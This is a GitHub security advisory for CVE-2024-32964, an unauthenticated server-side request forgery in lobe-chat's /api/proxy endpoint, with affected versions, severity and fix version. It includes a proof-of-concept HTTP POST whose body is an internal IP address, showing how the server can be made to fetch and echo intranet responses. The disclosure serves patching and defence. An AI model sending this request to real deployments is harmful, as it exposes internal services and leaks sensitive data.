GitHub Advisoryadvisory · npm

GHSA-mxhq-xw3g-rphc lobe-chat `/api/proxy` endpoint Server-Side Request Forgery vulnerability

CRITICAL Published 2024-05-10 Modified 2024-05-14 Official page ↗
Aliases
CVE-2024-32964
Ecosystem
npm
Packages
@lobehub/chat
Severity
Critical
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:L/A:H
Weaknesses
CWE-918
Reviewed
2024-05-10

Affected packages

• npm @lobehub/chat: < 0.150.6 → fixed in 0.150.6

Description

Summary The latest version of lobe-chat(by now v0.141.2) has an unauthorized ssrf vulnerability. An attacker can construct malicious requests to cause SSRF without logging in, attack intranet services, and leak sensitive information. Details • visit https://chat-preview.lobehub.com/settings/agent • you can attack all internal services by /api/proxy and get the echo in http response :) PoC ```http POST /api/proxy HTTP/2 Host: xxxxxxxxxxxxxxxxx Cookie: LOBE_LOCALE=zh-CN; LOBE_THEME_PRIMARY_COLOR=undefined; LOBE_THEME_NEUTRAL_COLOR=undefined; _ga=GA1.1.86608329.1711346216; _ga_63LP1TV70T=GS1.1.1711346215.1.1.1711346846.0.0.0 Content-Length: 23 Sec-Ch-Ua: "Google Chrome";v="123", "Not:A-Brand";v="8", "Chromium";v="123" Sec-Ch-Ua-Platform: "Windows" Sec-Ch-Ua-Mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: */* Origin: https://chat-preview.lobehub.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://chat-preview.lobehub.com/settings/agent Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,ja;q=0.7 http://172.23.0.1:8000/ ``` Impact SSRF ,All users will be impacted.

Related

Alias · CVE (1)

  • CVE-2024-32964 Lobe Chat is a chatbot framework that supports speech synthesis, multimodal, and extensible Function Call plugin system. vulnerability

Weakness · CWE (1)

  • CWE-918 Server-Side Request Forgery weakness

References